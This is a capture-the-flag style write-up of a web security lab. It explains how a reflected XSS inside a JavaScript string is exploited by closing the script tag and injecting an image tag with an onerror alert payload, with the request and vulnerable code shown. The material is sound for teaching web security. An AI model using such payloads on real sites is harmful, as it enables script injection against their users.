Reflected XSS into a JavaScript string with single quote and backslash escaped

Description

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

Approach

After accessing the lab, I turned on the FoxyProxy extension to proxy all the requests through Burp Suite while navigating the website. One request caught my attention:

GET /?search=ichyaboy HTTP/2
Host: 0aa80053048bd2cb8483139b006100db.web-security-academy.net
Cookie: session=pL0K01FlzBkB8So0RrI0sD8s043ugxav
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...

The response to this request included the following JavaScript code:

<script>
	var searchTerms = 'ichyaboy';
	document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

I noticed that the JavaScript in the response contained my input data. To exploit this, I planned to close the existing script tag and inject an HTML tag that triggers a JavaScript payload. The idea is to break out of the existing script context and then insert a payload that will be executed by the browser.

Browsers perform HTML parsing to identify page elements, including script blocks, before they parse and execute JavaScript. This allows for the insertion of additional HTML or JavaScript code.

Here is the payload I used:

</script><img src=1 onerror=alert(1)>

This payload does the following:

• </script> closes the existing script tag.

• <img src=1 onerror=alert(1)> injects an image tag with an onerror event handler that triggers an alert when the image fails to load.

After sending this payload, an alert box popped up, indicating that the XSS attack was successful and the lab was solved.